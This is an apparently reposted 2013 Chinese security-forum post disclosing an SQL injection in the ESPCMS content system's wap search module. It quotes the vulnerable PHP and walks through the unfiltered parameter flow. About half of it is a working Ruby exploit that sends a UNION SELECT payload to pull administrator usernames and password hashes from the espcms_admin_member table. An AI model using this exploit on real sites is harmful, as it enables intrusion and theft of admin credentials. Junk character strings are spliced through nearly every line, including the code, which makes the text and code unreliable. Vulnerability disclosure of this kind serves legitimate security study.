中国网络渗透测试联盟

标题: espcms wap模块搜索处SQL注入 [打印本页]

作者: admin    时间: 2013-7-27 18:31
标题: espcms wap模块搜索处SQL注入
0×0 漏洞概述0×1 漏洞细节4 _* P, @5 p$ H# c  L0 x8 _
0×2 PoC
2 y% t. }5 F) z+ x$ W9 T/ t% Q9 r. |5 a' S

" V% Y% |: W# k% M3 p8 T5 ]
: H3 w5 D  Z% d" @# f8 g& V" K0×0 漏洞概述3 P/ ^6 x1 w# F4 Q+ Q; j) I

' M5 `4 G6 X, P6 h7 A2 z: m* l- i易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
$ A2 @" C& N; E4 O- s其在处理传入的参数时考虑不严谨导致SQL注入发生
" H) @8 p3 @6 S" a+ O1 G- p! c3 w  m0 E, v8 r; V  c5 b0 G/ m
+ s/ \% e1 M6 g5 ^- e! _, D
0×1 漏洞细节
& c/ D( h5 L. U! i8 P% B" O
3 z4 |; j# s. W0 g5 ^# [变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。6 Z6 E! y/ h- l4 T3 r7 y
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
' \- o+ [" B4 `7 ]而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入
- ^2 P6 O& F6 C5 }' i1 c; o
" P) B1 r6 `/ n% L, C在/interface/3gwap_search.php文件的in_result函数中:
9 g  c+ c$ F" ]  Q) J9 u
  G# D1 ~# m  n1 ]  {9 c$ L$ @: [% K( G9 n

, V0 q, M1 _3 m0 {, W* l       function in_result() {/ G2 ]4 L3 N- `. K' y9 a5 Q
            ... ... ... ... ... ... ... ... ...
5 K: Q9 r% @8 j            $urlcode = $_SERVER[ 'QUERY_STRING '];' v8 a1 g! V  \. I1 W  Y! S
            parse_str(html_entity_decode($urlcode), $output);
8 k8 D. U! N3 A. M4 X2 p
8 @- W- h% V1 s            ... ... ... ... ... ... ... ... ...3 A: t# O7 k+ }: K/ b# d
            if (is_array($output['attr' ]) && count($output['attr']) > 0) {  `. |6 O, R( y5 |) J7 ?+ ^

- e& p6 f+ l0 A! J4 D7 H  S                  $db_table = db_prefix . 'model_att';
4 J" G' ]' x! ?* o* s# o4 E2 ~  ^2 h! @$ m, }2 _4 S" Z' T3 _2 E
                   foreach ($output['attr' ] as $key => $value) {
/ X, Z% J2 ^3 v& F& Y& O                         if ($value) {
9 L3 C7 r, V5 C3 B# t* Q% p* @9 g
) p1 e1 a' D7 }+ S, X                              $key = addslashes($key);1 n; t5 Y# R( X! x9 c  c
                              $key = $this-> fun->inputcodetrim($key);
# B' ], N3 a+ |5 G) e                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";; _2 l: n: B" Q, {
                              $countnum = $this->db_numrows($db_table, $db_att_where);6 k6 {( [2 ]" K( Q7 |, ^
                               if ($countnum > 0) {4 n1 |8 e4 X* x- h7 b
                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
& [( Q: g" S( X. L" i% W0 F                              }
6 e. M+ L- i# Q; L# q! Q( s                        }
% h$ @7 }2 W+ B8 M6 [5 r' A9 U                  }+ C4 j8 d6 M6 Y; L2 v
            }
( r- _/ N6 K# W3 a            if (!empty ($keyword) && empty($keyname)) {# k* p8 L9 P; K: T5 l+ M
                  $keyname = 'title';4 ^6 s' d2 u% k! U$ E3 x
                  $db_where.= " AND a.title like '%$keyword%'" ;
5 v6 }& @; J! M            } elseif (!empty ($keyword) && !empty($keyname)) {
' m/ ]) [1 `# c% x# e! j                  $db_where.= " AND $keyname like '% $keyword%'";$ F9 b+ O5 ~  a! z0 I! O6 y. C
            }6 u  G0 V! X: I
            $pagemax = 15;
( i$ X5 B' _' S0 p$ S
1 n  O# O5 i5 p/ j            $pagesylte = 1;6 _' q3 R3 S7 c

( d! M/ m6 e) a( W8 K             if ($countnum > 0) {$ J2 |) q( ^2 e7 Q
: Z% X8 |* Q6 @2 ^* S1 F) Z
                  $numpage = ceil($countnum / $pagemax);- T) p# C& O% d! Y- g
            } else {, E& S1 u6 R6 h
                  $numpage = 1;
) L/ V$ ]5 Q, `+ [/ }; L: p/ p            }1 f8 u1 c3 P! t
            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;0 `9 P, e! Y9 [
            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
, f1 J+ k. G$ T7 y, C" _( r$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);
7 C8 Q/ @7 q( V+ H2 J3 R            ... ... ... ... ... ... ... ... ...
7 p' M( f' U" N. ~$ G      }
" E  ]* d1 k8 i0 ^1 N# y( D/ V# V+ m: o8 l/ G# A& F
$ K2 m" z( D6 l& x# p  H" W5 t" F
0×2 PoC
4 m# F6 z) t3 A3 M) B3 S* A3 g( j' J) b
- d. t9 s6 T& A  y# |( Y; k1 W6 I' ~# o$ P& z9 {# \$ [

" t9 j3 L. I  Nrequire "net/http"+ O# T* s( F- B6 a' A
: \' ]- p/ j8 b6 {$ c5 Q9 A" p& _
def request(method, url)* T0 X5 L7 X  |0 I# k
    if method.eql?("get")3 l2 I/ h  Z5 {2 M( s6 I7 [0 @1 q" j
        uri = URI.parse(url)( c+ Z6 ~, l+ c5 U
        http = Net::HTTP.new(uri.host, uri.port), p$ h  R' B8 R6 M
        response = http.request(Net::HTTP::Get.new(uri.request_uri))
1 }1 g# s, |% X8 \# v% T2 Y        return response
0 F, f. d) H# Y% E    end) r% V. k7 Q* \$ Z2 N+ u0 }2 X* g7 F
end! R; a+ u" C8 C% @7 R; T5 Y
4 a+ m9 a) d4 d: h6 F" F* n) |
doc =<<HERE7 [6 Z/ O0 d* o, b$ _* y: u
-------------------------------------------------------4 {$ E3 A6 R: R% {5 s$ K) P
Espcms Injection Exploit2 w6 ~' H5 i- S; {
Author:ztz
( o8 V9 q% @6 }. Y( w' U% jBlog:http://ztz.fuzzexp.org/8 L0 B; o7 c! A/ Z+ x, K6 m- j( [
-------------------------------------------------------
+ x5 Y; O/ P+ E, Z8 P3 O
9 E. H2 L5 t5 @& n6 f$ X3 ~6 oHERE
5 j: P. j9 A/ k$ c+ B
8 Q+ J& V: x0 Nusage =<<HERE- `1 b# f3 Z& R* P0 W0 w6 M; v; @
Usage:         ruby #{$0} host port path3 f6 s$ A0 H% m9 }! y
example:     ruby #{$0} www.target.com 80 /
1 @4 ~& }% P, O; _1 M; `HERE
( o$ \, O: U' x3 z
! F% I5 H7 R6 n; n7 c3 i' k" uputs doc
0 T  ~. \+ j- p! V8 F& U& \if ARGV.length < 3! x' G5 M1 ]6 R: C
    puts usage, w8 i9 [, Y1 L$ S5 f$ W/ G
else. _! n, a7 L3 S: B
    $host = ARGV[0]
: w, E0 @, \, I/ @0 X2 }5 v; R    $port = ARGV[1]% H$ C' n+ W7 k! m+ M& Z0 e
    $path = ARGV[2]2 O1 x4 d- Q7 J7 Z7 T) o: r7 C1 X

" m2 U5 r4 P' ?% Q! p9 [4 p    puts "
  • send request..."8 V2 [$ F7 K, T, h( f
        url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&0 P, [( D, k# T; R
    attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,134 i' L0 l+ p6 v) r& Z( U
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
    0 m/ b( {* @- B  Z5 r% }; F,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"! G! F+ b% G! a- e0 U% q1 h
        response = request("get", url)* v9 Q% ^5 F: M- B
        result = response.body.scan(/\w+&\w{32}/)
    7 c: C! `" o; `3 C" ^, p* F) t7 s; U* O9 d    puts result3 o- Z' P. [: E
    end
    5 o8 [5 ~# C  j' H7 p; V  ~0 |; J" W2 w9 m- G; p, p; ^





    欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2